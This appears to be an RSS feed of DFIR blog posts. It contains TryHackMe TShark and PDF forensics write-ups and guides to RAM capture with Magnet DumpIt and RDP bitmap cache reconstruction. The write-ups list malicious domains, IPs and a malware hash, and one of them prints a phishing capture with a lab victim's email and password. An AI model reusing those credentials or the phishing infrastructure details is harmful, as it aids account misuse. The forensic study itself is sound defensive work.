<pre><code class="lang-bash">tshark -r directory-curiosity.pcap -Y <span class="hljs-string">'http.host == "jx2-bavuong.com"'</span> -T fields -e http.host | wc -l
</code></pre>
<p>This command tells us how many HTTP requests were directed to the domain.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749707330693/926c459f-f574-4118-8d80-5867f85ba796.png" alt class="image--center mx-auto" /></p>
<p><strong>✅ Answer:</strong> <code>14</code></p>
<hr />
<h3 id="heading-q3-what-is-the-ip-address-associated-with-the-malicious-domain">Q3: What is the IP address associated with the malicious domain?</h3>
<p>To determine where the requests were sent, we extract the destination IP addresses associated with <code>jx2-bavuong.com</code>:</p>
<pre><code class="lang-bash">tshark -r directory-curiosity.pcap -Y <span class="hljs-string">'http.host == "jx2-bavuong.com"'</span> -T fields -e ip.dst -e http.host
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749707594853/d1d71e58-ecef-4178-a2af-a30e487dd180.png" alt class="image--center mx-auto" /></p>
<p><strong>✅ Answer (Defanged):</strong> <code>141[.]164[.]41[.]174</code></p>
<p>This IP is consistently tied to the malicious domain, further confirming its involvement.</p>
<hr />
<h3 id="heading-q4-what-is-the-server-info-of-the-suspicious-domain">Q4: What is the server info of the suspicious domain?</h3>
<p>To identify the web server stack used, we can extract the <code>Server</code> HTTP header from responses sent by the malicious IP:</p>
<pre><code class="lang-bash">tshark -r directory-curiosity.pcap -Y <span class="hljs-string">'ip.src == 141.164.41.174 &amp;&amp; http.server'</span> -T fields -e ip.src -e http.server | awk NF | uniq -c
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749707738391/d7db040d-945a-4876-b133-c493c09c38f5.png" alt class="image--center mx-auto" /></p>
<p><strong>✅ Answer:</strong><br /><code>Apache/2.2.11 (Win32) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8i PHP/5.2.9</code></p>
<hr />
<h3 id="heading-q5-what-is-the-number-of-listed-files-via-ascii-tcp-stream">Q5: What is the number of listed files (via ASCII TCP stream)?</h3>
<p>TShark allows us to inspect full TCP streams to analyze file listings or command-and-control interactions. To follow the first TCP stream in ASCII format:</p>
<pre><code class="lang-bash">tshark -r directory-curiosity.pcap -qz follow,tcp,ascii,0
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749707832223/e5b4f556-da10-4de5-9b28-608721ffb2a4.png" alt class="image--center mx-auto" /></p>
<p>Upon reviewing the response, we observe a file listing:</p>
<ul>
<li><p><code>123.php</code></p>
</li>
<li><p><code>vlauto.exe</code></p>
</li>
<li><p><code>vlauto.php</code></p>
</li>
</ul>
<p><strong>✅ Answer:</strong> <code>3</code></p>
<hr />
<h3 id="heading-q6-what-is-the-filename-of-the-first-file">Q6: What is the filename of the first file?</h3>
<p>From the file listing above, the first file is <code>123.php</code></p>
<p><strong>✅ Answer (Defanged):</strong> <code>123[.]php</code></p>
<hr />
<h3 id="heading-q7-export-all-http-objects-what-is-the-name-of-the-exe-file-downloaded">Q7: Export all HTTP objects. What is the name of the <code>.exe</code> file downloaded?</h3>
<p>We want to extract all HTTP objects, especially any executables. The TShark export command:</p>
<pre><code class="lang-bash">tshark -r directory-curiosity.pcap --export-objects http,/home/ubuntu/Desktop/extracted -q
</code></pre>
<p>This saves all HTTP objects to disk, but we can also narrow down <code>.exe</code> requests directly:</p>
<pre><code class="lang-bash">tshark -r directory-curiosity.pcap -Y <span class="hljs-string">'http.request.uri contains ".exe"'</span> -T fields -e http.host -e http.request.uri
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749707985406/05a97d52-11c9-4f6b-843b-ecb5d4200791.png" alt class="image--center mx-auto" /></p>
<p><strong>✅ Answer (Defanged):</strong> <code>vlauto[.]exe</code></p>
<hr />
<h3 id="heading-q8-what-is-the-sha256-hash-of-the-malicious-exe-file">Q8: What is the SHA256 hash of the malicious <code>.exe</code> file?</h3>
<p>To verify the file’s integrity and reputation, we calculate its SHA256 hash:</p>
<pre><code class="lang-bash">sha256sum vlauto.exe
</code></pre>
<p><strong>Output:</strong></p>
<pre><code class="lang-bash">b4851333efaf399889456f78eac0fd532e9d8791b23a86a19402c1164aed20de
</code></pre>
<p><strong>✅ Answer:</strong><br /><code>b4851333efaf399889456f78eac0fd532e9d8791b23a86a19402c1164aed20de</code></p>
<hr />
<h3 id="heading-q9-what-is-the-peid-packer-value-of-the-file">Q9: What is the PEiD packer value of the file?</h3>
<p>By uploading the hash to VirusTotal, we examine the file’s static properties. Under the "Details" tab, the <strong>PEiD packer</strong> field helps us understand how the file was packed or obfuscated.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749708156135/4f761164-8b29-4c11-9ffa-7e1141a12362.png" alt class="image--center mx-auto" /></p>
<p><strong>✅ Answer:</strong><br /><code>.NET executable</code></p>
<hr />
<h3 id="heading-q10-what-does-lastline-sandbox-flag-this-file-as">Q10: What does Lastline Sandbox flag this file as?</h3>
<p>Under the <em>Behavior</em> tab in VirusTotal’s dynamic analysis:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749708304606/43265175-740a-4d56-bb81-f43ba4540ef6.png" alt class="image--center mx-auto" /></p>
<p><strong>✅ Answer:</strong><br /><code>MALWARE TROJAN</code></p>
]]></content:encoded></item><item><title><![CDATA[TryHackMe – TShark Challenge I: Teamwork]]></title><description><![CDATA[Scenario Overview
An alert has been triggered: "The threat research team discovered a suspicious domain that could be a potential threat to the organisation."
The case was assigned to you. Inspect the provided teamwork.pcap located in ~/Desktop/exerc...]]></description><link>https://www.dfirpro.in/tryhackme-tshark-challenge-i-teamwork</link><guid isPermaLink="true">https://www.dfirpro.in/tryhackme-tshark-challenge-i-teamwork</guid><category><![CDATA[tshark]]></category><category><![CDATA[THM writeup]]></category><category><![CDATA[thm]]></category><category><![CDATA[tryhackme]]></category><category><![CDATA[CTF]]></category><category><![CDATA[DFIR]]></category><category><![CDATA[Virustotal]]></category><category><![CDATA[SOC]]></category><category><![CDATA[Digital Forensics]]></category><dc:creator><![CDATA[kanishkar mathi]]></dc:creator><pubDate>Tue, 10 Jun 2025 08:17:39 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1749543135749/47eb6416-5630-4254-a7b0-3e58e7e150b8.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-scenario-overview">Scenario Overview</h2>
<p><strong>An alert has been triggered:</strong> "The threat research team discovered a suspicious domain that could be a potential threat to the organisation."</p>
<p>The case was assigned to you. Inspect the provided <strong>teamwork.pcap</strong> located in <code>~/Desktop/exercise-files</code> and create artefacts for detection tooling.</p>
<hr />
<h2 id="heading-tools-used">🧰 Tools Used</h2>
<ul>
<li><p>TShark – Command-line version of Wireshark, ideal for headless analysis.</p>
</li>
<li><p>VirusTotal – To confirm if a domain is malicious.</p>
</li>
<li><p>CyberChef – For defanging URLs and emails.</p>
</li>
</ul>
<hr />
<h2 id="heading-pcap-initial-review">PCAP Initial Review</h2>
<p>We begin by gathering high-level insights about the PCAP file:</p>
<pre><code class="lang-bash">tshark -r teamwork.pcap -q -z io,<span class="hljs-built_in">stat</span>,0         <span class="hljs-comment"># Total frames and statistics</span>
tshark -r teamwork.pcap -z io,phs -q            <span class="hljs-comment"># Protocol hierarchy summary</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749542612055/ccc6b253-ecba-44aa-8d47-50150f35cd11.png" alt class="image--center mx-auto" /></p>
<p>📌 <strong>Total Packets:</strong> <code>793</code><br />📌 <strong>Protocols Detected:</strong> DNS, HTTP, TCP – indicating typical web activity.</p>
<p>This initial scan helps us narrow our focus toward DNS and HTTP traffic.</p>
<hr />
<h2 id="heading-questions-amp-answers">❓ Questions &amp; Answers</h2>
<hr />
<h3 id="heading-q1-what-is-the-full-url-of-the-malicioussuspicious-domain-address"><strong>Q1. What is the full URL of the malicious/suspicious domain address?</strong></h3>
<p><strong>(Answer must be in defanged format)</strong></p>
<p>Using TShark to extract all DNS queries:</p>
<pre><code class="lang-bash">tshark -r teamwork.pcap -Y <span class="hljs-string">"dns.qry.name"</span> -T fields -e dns.qry.name | sort | uniq -c | sort -nr
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749542869594/46a97572-483b-488a-8c6d-9dc7659c3daa.png" alt class="image--center mx-auto" /></p>
<p>The most frequent suspicious domain is:</p>
<pre><code class="lang-bash">www.paypal.com4uswebappsresetaccountrecovery.timeseaways.com
</code></pre>
<p>✅ <strong>Confirmed as malicious</strong> on <a target="_blank" href="https://www.virustotal.com/gui/url/16db0aadc2423a67cd3a01af39655146b0f15d20dc2fd0e14b325026d8d1717e/detection">VirusTotal</a>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749541827567/b41ba529-a3b5-456f-9a5e-99803ef1167e.png" alt class="image--center mx-auto" /></p>
<p>Using CyberChef, the defanged version of the URL is:</p>
<p>👉 <code>hxxp[://]www[.]paypal[.]com4uswebappsresetaccountrecovery[.]timeseaways[.]com/</code></p>
<hr />
<h3 id="heading-q2-when-was-the-url-first-submitted-to-virustotal"><strong>Q2. When was the URL first submitted to VirusTotal?</strong></h3>
<p>📅 <strong>First Submission:</strong> <code>2017-04-17 22:52:53 UTC</code></p>
<p>Found directly on the VirusTotal analysis page.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749541957038/2f2063c1-5fff-4324-b852-8f12e0cc2494.png" alt class="image--center mx-auto" /></p>
<hr />
<h3 id="heading-q3-which-known-service-was-the-domain-trying-to-impersonate"><strong>Q3. Which known service was the domain trying to impersonate?</strong></h3>
<p>Analyzing the subdomain structure:</p>
<pre><code class="lang-bash">www.paypal.com4uswebappsresetaccountrecovery.timeseaways.com
</code></pre>
<p>It mimics PayPal’s official login/reset flow.</p>
<p>✅ <strong>Answer:</strong> <code>paypal</code></p>
<hr />
<h3 id="heading-q4-what-is-the-ip-address-of-the-malicious-domain"><strong>Q4. What is the IP address of the malicious domain?</strong></h3>
<p><strong>(Answer in defanged format)</strong></p>
<p>Inspecting the HTTP request headers and IP information:</p>
<pre><code class="lang-bash">tshark -r teamwork.pcap -Y <span class="hljs-string">"http.request"</span> -T fields -e ip.src -e ip.dst -e http.host
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749542105651/b8332861-011e-4975-979f-e5d4dfa3e3e5.png" alt class="image--center mx-auto" /></p>
<p>📌 Malicious domain resolved to → <code>184.154.127.226</code></p>
<p>👉 <strong>Defanged:</strong> <code>184[.]154[.]127[.]226</code></p>
<hr />
<h3 id="heading-q5-what-is-the-email-address-that-was-used"><strong>Q5. What is the email address that was used?</strong></h3>
<p><strong>(Answer in defanged format: aaa[at]bbb[.]ccc)</strong></p>
<p>Looking for HTTP POST data</p>
<pre><code class="lang-bash">tshark -r teamwork.pcap -Y <span class="hljs-string">"http.request.method == POST"</span> -T fields -e http.host -e http.request.uri -e http.file_data | nl

1    www.paypal.com4uswebappsresetaccountrecovery.timeseaways.com    /inc/visit.php    xBrowser=Mozilla+FireFox+v43&amp;xOperatingSystem=Linux&amp;xPlatForm=Desktop+Platform
2    www.paypal.com4uswebappsresetaccountrecovery.timeseaways.com    /inc/login.php    user=johnny5alive%40gmail.com&amp;pass=johnny5alive&amp;xBrowser=Mozilla+FireFox+v43&amp;xOperatingSystem=Linux&amp;xPlatForm=Desktop+Platform&amp;xTimeZone=Mon+Apr+17+2017+22%3A00%3A35+GMT-0400+(EDT)&amp;xResoLution=Computer%3A+1920x1080%3B+Browser+inner%3A+1920x762%3B+Browser+outer%3A+1920x1027&amp;xLang=en-US
</code></pre>
<p>The <code>/inc/login.php</code> request contains:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749543012203/9817637f-f1bc-4c73-a382-d2f0766f56a3.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash">user=johnny5alive%40gmail.com
</code></pre>
<p>Decoded and defanged:</p>
<p>👉 <strong>Email:</strong> <code>johnny5alive[at]gmail[.]com</code></p>
]]></content:encoded></item><item><title><![CDATA[TryHackMe – Confidential Writeup]]></title><description><![CDATA[Room: ConfidentialRelease Date: 19-08-2022Difficulty: EasyCategory: Forensics  
Scenario
We got our hands on a confidential case file from some self-declared "black hat hackers"... it looks like they have a secret invite code available within a QR co...]]></description><link>https://www.dfirpro.in/tryhackme-confidential-writeup</link><guid isPermaLink="true">https://www.dfirpro.in/tryhackme-confidential-writeup</guid><category><![CDATA[TryHackMe Walkthrough]]></category><category><![CDATA[tryhackme]]></category><category><![CDATA[CTF]]></category><category><![CDATA[forensics]]></category><category><![CDATA[blueteam]]></category><category><![CDATA[DFIR]]></category><category><![CDATA[thm]]></category><category><![CDATA[pdf]]></category><dc:creator><![CDATA[kanishkar mathi]]></dc:creator><pubDate>Tue, 10 Jun 2025 04:23:24 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1749529605377/70e86dfb-f5f9-4b5f-a9a6-ba957506b617.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Room:</strong> <a target="_blank" href="https://tryhackme.com/room/confidential">Confidential</a><br /><strong>Release Date:</strong> 19-08-2022<br /><strong>Difficulty:</strong> Easy<br /><strong>Category:</strong> Forensics  </p>
<h2 id="heading-scenario">Scenario</h2>
<p>We got our hands on a confidential case file from some self-declared "black hat hackers"... it looks like they have a secret invite code available within a QR code, but it's covered by some image in this PDF! If we want to thwart whatever it is they are planning, we need your help to uncover what that QR code says!</p>
<hr />
<h2 id="heading-step-1-access-the-pdf">Step 1: Access the PDF</h2>
<p>Once the machine is deployed, navigate to the target directory:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">cd</span> /home/ubuntu/confidential
</code></pre>
<p>The file of interest is named <code>Repdf.pdf</code>.</p>
<p>Opening the file, we observe that the PDF contains only a single page, which appears to be a static image. Upon closer inspection, we notice that part of the QR code is visually blocked by a red triangular overlay.</p>
<hr />
<h2 id="heading-step-2-extracting-embedded-images">Step 2: Extracting Embedded Images</h2>
<p>Since tools like <code>binwalk</code> are not installed on the TryHackMe virtual machine (and may be out of scope), we look for an alternative.</p>
<p>Luckily, the VM has a utility called <code>pdfimages</code>, which can extract embedded images from PDF files. We use the following command to extract all images:</p>
<pre><code class="lang-bash">pdfimages -png Repdf.pdf ext
</code></pre>
<p>This generates three PNG files:</p>
<pre><code class="lang-bash">ubuntu@thm-confidential:~/confidential$ ls
Repdf.pdf  ext-000.png  ext-001.png  ext-002.png
</code></pre>
<hr />
<h2 id="heading-step-3-analyze-extracted-images">Step 3: Analyze Extracted Images</h2>
<p>Inspecting the images:</p>
<ul>
<li><p><code>ext-000.png</code> contains the QR code without the overlay.</p>
</li>
<li><p><code>ext-001.png</code> and <code>ext-002.png</code> appear to be parts of the overlay or background.</p>
</li>
</ul>
<p>We focus on <code>ext-000.png</code> since it contains the unmasked QR code.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749527963532/1c3fa2a3-e7d3-4525-8f99-38fff73e0d53.png" alt class="image--center mx-auto" /></p>
<hr />
<h2 id="heading-step-4-decode-the-qr-code">Step 4: Decode the QR Code</h2>
<p>To extract the flag from the QR code, take a screenshot of <code>ext-000.png</code> or download the file and upload it to a QR code reader. I used CyberChef for decoding.</p>
<p>Once uploaded, CyberChef successfully reveals the embedded text – the <strong>flag</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749528448755/3d414254-6099-41c2-a604-b035b69308f1.png" alt class="image--center mx-auto" /></p>
<hr />
<h2 id="heading-flag">🏁 Flag</h2>
<blockquote>
<p><em>flag(\</em>*REDACTED**)*</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[RAM Forensics Simplified: A Guide to Using Magnet DumpIt]]></title><description><![CDATA[Memory forensics plays a critical role in cybersecurity investigations. Live memory can contain vital evidence such as running processes, open connections, decrypted malware, and user credentials.
In this blog, we’ll cover how to create a memory dump...]]></description><link>https://www.dfirpro.in/ram-forensics-simplified-a-guide-to-using-magnet-dumpit</link><guid isPermaLink="true">https://www.dfirpro.in/ram-forensics-simplified-a-guide-to-using-magnet-dumpit</guid><category><![CDATA[DFIR]]></category><category><![CDATA[memory forensics]]></category><dc:creator><![CDATA[kanishkar mathi]]></dc:creator><pubDate>Sat, 17 May 2025 12:16:33 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/w7ZyuGYNpRQ/upload/7e080e1321e2c76a8b74e750b8eee31a.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Memory forensics plays a critical role in cybersecurity investigations. Live memory can contain vital evidence such as running processes, open connections, decrypted malware, and user credentials.</p>
<p>In this blog, we’ll cover how to <strong>create a memory dump (.dmp)</strong> of a Windows system using <strong>Magnet DumpIt</strong>, a powerful and trusted tool in the DFIR (Digital Forensics and Incident Response) world.</p>
<h2 id="heading-what-is-magnet-dumpit">What is Magnet DumpIt?</h2>
<p><strong>Magnet DumpIt</strong> is a lightweight, command-line memory acquisition tool developed by Magnet Forensics. It captures the physical memory (RAM) of a Windows system and saves it as a <code>.dmp</code> file, which can then be analyzed using tools like Volatility or Rekall.</p>
<h3 id="heading-key-features">Key Features:</h3>
<ul>
<li><p>Captures complete physical memory</p>
</li>
<li><p>Trusted in the forensic community</p>
</li>
<li><p>Minimal footprint – suitable for live acquisitions</p>
</li>
<li><p>Supports x86 and x64 Windows</p>
</li>
</ul>
<h2 id="heading-prerequisites">Prerequisites</h2>
<ul>
<li><p><strong>Windows target machine</strong></p>
</li>
<li><p><strong>Admin privileges</strong></p>
</li>
<li><p><strong>USB drive or external disk</strong> (to store the dump file)</p>
</li>
<li><p><strong>Magnet DumpIt</strong> binary</p>
</li>
</ul>
<h2 id="heading-step-by-step-capturing-ram-with-dumpit">Step-by-Step: Capturing RAM with DumpIt</h2>
<h3 id="heading-1-download-dumpit">1. <strong>Download DumpIt</strong></h3>
<p>Download the latest version from <a target="_blank" href="https://www.magnetforensics.com/resources/magnet-dumpit-for-windows/">Magnet Forensics</a>. Ensure you verify its hash for integrity.</p>
<blockquote>
<p>💡 Always use a trusted and write-protected USB to store the executable.</p>
</blockquote>
<h3 id="heading-2-prepare-for-acquisition">2. <strong>Prepare for Acquisition</strong></h3>
<ul>
<li><p>Close unnecessary applications (if allowed).</p>
</li>
<li><p>Use an <strong>administrator account</strong> or elevate privileges via right-click &gt; "Run as administrator".</p>
</li>
<li><p>Open Command Prompt (<code>cmd.exe</code>) as Admin if running from CLI.</p>
</li>
</ul>
<h3 id="heading-3-run-dumpit">3. <strong>Run DumpIt</strong></h3>
<p>Double-click <code>DumpIt.exe</code> or execute it via CLI:</p>
<pre><code class="lang-bash">DumpIt.exe
</code></pre>
<p>After a brief prompt, the tool begins capturing the memory. The process may take a few minutes depending on the RAM size.</p>
<h3 id="heading-4-check-output">4. <strong>Check Output</strong></h3>
<p>By default, DumpIt creates a <code>.dmp</code> file in the same directory as the executable.</p>
<p>Example default filename:</p>
<pre><code class="lang-bash">TARGET-PC-20250517-061433.dmp
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1747482909572/0b6c4957-cb2c-4e6a-8955-4d82df7023c1.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-understanding-dumpits-default-file-naming">📦 Understanding DumpIt’s Default File Naming</h2>
<p>The default naming convention used by DumpIt follows this format:</p>
<pre><code class="lang-bash">&lt;HOSTNAME&gt;-&lt;YYYYMMDD&gt;-&lt;HHMMSS&gt;.dmp
</code></pre>
<p><strong>Example:</strong></p>
<pre><code class="lang-bash">TARGET-PC-20250517-061433.dmp
</code></pre>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Field</td><td>Description</td></tr>
</thead>
<tbody>
<tr>
<td>HOSTNAME</td><td>From system info (e.g. TARGET-PC)</td></tr>
<tr>
<td>YYYYMMDD</td><td>Capture date</td></tr>
<tr>
<td>HHMMSS</td><td>Capture start time (24hr)</td></tr>
</tbody>
</table>
</div><p>While helpful, this naming convention lacks <strong>contextual details</strong> about the system (OS version, architecture, etc.).</p>
<h2 id="heading-recommended-naming-convention-best-practice">Recommended Naming Convention (Best Practice)</h2>
<p>To ensure better tracking during investigations, consider <strong>renaming the file post-capture</strong> using the following format:</p>
<pre><code class="lang-bash">&lt;HOSTNAME&gt;-&lt;OS&gt;-&lt;ARCH&gt;_&lt;BUILDNUMBER&gt;_&lt;DATE&gt;_&lt;CASEID&gt;.dmp
</code></pre>
<h3 id="heading-example">Example:</h3>
<pre><code class="lang-bash">TARGET-PC-win10x64_10.0.19045_20250517_CASE001.dmp
</code></pre>
<p>This format improves clarity and makes it easier to:</p>
<ul>
<li><p>Match with forensic reports or chain-of-custody</p>
</li>
<li><p>Identify the OS version and architecture quickly</p>
</li>
<li><p>Avoid confusion when dealing with multiple dumps</p>
</li>
</ul>
<p>You can extract OS info using the <code>systeminfo</code> command:</p>
<pre><code class="lang-bash">systeminfo &gt; system_details.txt
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1747482884383/b406ed6a-f442-4573-a568-868d1c29ad0d.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-analysis-tools-for-dmp-files">Analysis Tools for .dmp Files</h2>
<p>After capture, the dump can be analyzed with tools like:</p>
<ul>
<li><p><a target="_blank" href="https://github.com/volatilityfoundation">Volatility / Volatility3</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/google/rekall">Rekall</a></p>
</li>
</ul>
<h2 id="heading-real-world-tip">Real-World Tip</h2>
<p>Always capture memory <strong>before shutting down</strong> a suspicious machine. Memory contains volatile indicators that are lost on reboot.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Memory forensics begins with sound acquisition. Magnet DumpIt offers a fast and reliable way to capture memory without heavy dependencies. By following proper naming conventions and post-capture procedures, you ensure your evidence remains traceable, organized, and admissible.</p>
]]></content:encoded></item><item><title><![CDATA[RDP Bitmap Forensics: Detecting Hidden Screens in Real Investigations]]></title><description><![CDATA[RDP sessions leave behind more than logs — they may leave behind screenshots.In digital forensics, one often overlooked artifact is the RDP bitmap cache. If a threat actor uses Remote Desktop Protocol (RDP) during an intrusion, we can potentially rec...]]></description><link>https://www.dfirpro.in/rdp-bitmap-forensics-detecting-hidden-screens-in-real-investigations</link><guid isPermaLink="true">https://www.dfirpro.in/rdp-bitmap-forensics-detecting-hidden-screens-in-real-investigations</guid><category><![CDATA[DFIR]]></category><category><![CDATA[Digital Forensics]]></category><dc:creator><![CDATA[kanishkar mathi]]></dc:creator><pubDate>Thu, 01 May 2025 14:30:44 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/9SoCnyQmkzI/upload/f6807fafb6a6254f643e7908d921dd70.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>RDP sessions leave behind more than logs — they may leave behind <em>screenshots</em>.</strong><br />In digital forensics, one often overlooked artifact is the <em>RDP bitmap cache</em>. If a threat actor uses Remote Desktop Protocol (RDP) during an intrusion, we can potentially recover pieces of what they saw — from open documents to full-screen applications — using cached image fragments.</p>
<p>In this post, we'll explore:</p>
<ul>
<li><p>What RDP bitmap cache is</p>
</li>
<li><p>Where it’s stored</p>
</li>
<li><p>Why it matters in investigations</p>
</li>
<li><p>How to extract and reconstruct it using real tools</p>
</li>
<li><p>A working demo with actual <code>cache000.bin</code></p>
</li>
</ul>
<h2 id="heading-what-is-rdp-bitmap-cache">What is RDP Bitmap Cache?</h2>
<p>When you use RDP to remotely control a system, your RDP <strong>client</strong> stores tiny graphical fragments of the session as a performance optimization. These fragments are stored as <code>.bin</code> files — commonly named:</p>
<pre><code class="lang-plaintext">cache000.bin
cache001.bin
...
</code></pre>
<p>These files persist <em>on the client machine</em> and contain <em>compressed image tiles</em> of what was displayed during the session. In digital forensics, these can be gold.</p>
<h2 id="heading-where-are-these-files-stored">Where Are These Files Stored?</h2>
<p>If an attacker RDPs into a system, the cache files are stored on the <strong>attacker’s system</strong> — because they are the client.</p>
<p>However, if the attacker pivots within a network and uses RDP from one victim machine to another, then <strong>the intermediate machine (pivot point) will store the cache files</strong> — making it available for analysis during an investigation.</p>
<p><strong>Location on disk (Windows):</strong></p>
<pre><code class="lang-bash">C:\Users\&lt;username&gt;\AppData\Local\Microsoft\Terminal Server Client\Cache\
</code></pre>
<h2 id="heading-tools-for-rdp-bitmap-forensics">Tools for RDP Bitmap Forensics</h2>
<p>We’ll demonstrate two open-source tools that let us extract and reconstruct images from the cache:</p>
<h3 id="heading-1-bmc-toolshttpsgithubcomanssi-frbmc-tools">1. <a target="_blank" href="https://github.com/ANSSI-FR/bmc-tools/"><code>bmc-tools</code></a></h3>
<ul>
<li><p>Dumps and previews bitmap images</p>
</li>
<li><p>Allows tile-by-tile inspection</p>
</li>
</ul>
<h3 id="heading-2-rdpcachestitcherhttpsgithubcombsi-bundrdpcachestitcher">2. <a target="_blank" href="https://github.com/BSI-Bund/RdpCacheStitcher"><code>RdpCacheStitcher</code></a></h3>
<ul>
<li><p>Supports stitching tiles into a <strong>single image</strong></p>
</li>
<li><p>GUI support and tile visualization</p>
</li>
</ul>
<h2 id="heading-real-working-example-analyzing-cache000bin">Real Working Example: Analyzing <code>cache000.bin</code></h2>
<p>Let’s walk through a real-world example.</p>
<h3 id="heading-step-1-clone-the-tools">Step 1: Clone the Tools</h3>
<p>We begin by cloning the two open-source tools from GitHub:</p>
<pre><code class="lang-bash">git <span class="hljs-built_in">clone</span> https://github.com/ANSSI-FR/bmc-tools.git
git <span class="hljs-built_in">clone</span> https://github.com/BSI-Bund/RdpCacheStitcher.git
</code></pre>
<h3 id="heading-step-2-obtain-a-sample-cache000bin">Step 2: Obtain a Sample cache000.bin</h3>
<p>You can either:</p>
<ul>
<li><p>Use your own cache files from a test RDP session</p>
</li>
<li><p>Download publicly shared samples from training datasets or malware analysis repositories</p>
</li>
</ul>
<p>For this demo, let’s say we have:</p>
<pre><code class="lang-bash">cache000.bin
</code></pre>
<h3 id="heading-step-3-extract-tiles-with-bmc-tools">Step 3: Extract Tiles with <code>bmc-tools</code></h3>
<pre><code class="lang-bash">python3 bmc-tools.py -s cache000.bin -d output
</code></pre>
<p>This will extract all bitmap tiles into the <code>output/</code> folder.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746103092933/2271c825-e138-4680-9c88-88c3a5ba76c5.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-step-4-reconstruct-with-rdpcachestitcher">Step 4: Reconstruct with RdpCacheStitcher</h3>
<p>Now it’s time for the fun part: <strong>rebuilding the original screen layout</strong> from the extracted bitmap tiles — like assembling a high-stakes jigsaw puzzle from the attacker’s POV.</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://media.giphy.com/media/l2Je7l7Y3CPq1uclq/giphy.gif?cid=ecf05e47y3qfmnggqwws3hr1kfwjjyk19fch84orzsfuexwp&amp;ep=v1_gifs_related&amp;rid=giphy.gif&amp;ct=g">https://media.giphy.com/media/l2Je7l7Y3CPq1uclq/giphy.gif?cid=ecf05e47y3qfmnggqwws3hr1kfwjjyk19fch84orzsfuexwp&amp;ep=v1_gifs_related&amp;rid=giphy.gif&amp;ct=g</a></div>
<p> </p>
<p>Launch RdpCacheStitcher:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746106353860/94016168-130e-4c0b-80f6-e03ca9a66ee9.png" alt class="image--center mx-auto" /></p>
<h4 id="heading-heres-what-to-do">Here's what to do:</h4>
<ol>
<li><p><strong>Create a New Case</strong></p>
<ul>
<li><p>Go to <code>File → New Case</code></p>
</li>
<li><p>When prompted, <strong>select the folder where your extracted tiles are stored</strong></p>
</li>
<li><p>This tells the tool where to find the BMP cache tiles for reconstruction</p>
</li>
</ul>
</li>
<li><p><strong>Start Reconstructing</strong></p>
<ul>
<li><p>The interface will populate with available tile images</p>
</li>
<li><p>Drag tiles into the main canvas area</p>
</li>
<li><p>Align them manually by matching UI elements like window edges, taskbars, or icons</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746107537920/84ddf086-331c-452c-b4a5-1e1dd2bb73c6.png" alt class="image--center mx-auto" /></p>
</li>
</ul>
</li>
<li><p><strong>Export Your Scene</strong></p>
<ul>
<li><p>Once a coherent image is rebuilt, go to <code>File → Export screen images</code></p>
</li>
<li><p>Save the final output as an image — evidence ready!</p>
</li>
</ul>
</li>
</ol>
<p>    This gives you a full screenshot-style reconstruction you can use as evidence or visual proof</p>
<h2 id="heading-why-this-matters">Why This Matters</h2>
<ul>
<li><p>You might find screenshots of:</p>
<ul>
<li><p>Open Notepad or PowerShell windows</p>
</li>
<li><p>Sensitive documents</p>
</li>
<li><p>File paths and credentials</p>
</li>
</ul>
</li>
<li><p>These can provide <strong>proof of attacker activity</strong> even if logs are wiped</p>
</li>
<li><p>Especially helpful in <strong>lateral movement</strong> cases where attackers used internal systems as stepping stones</p>
</li>
</ul>
<h2 id="heading-conclusion">Conclusion</h2>
<p>RDP bitmap forensics is a powerful, underused technique in modern DFIR. With tools like <code>bmc-tools</code> and <code>RdpCacheStitcher</code>, analysts can reconstruct attacker views and actions — all from leftover cache tiles.</p>
<p>Next time you're investigating an RDP-heavy compromise, don't forget to check:</p>
<pre><code class="lang-bash">%LOCALAPPDATA%\Microsoft\Terminal Server Client\Cache\
</code></pre>
<p>There just might be a screenshot waiting to speak.</p>
<h2 id="heading-resources">Resources:</h2>
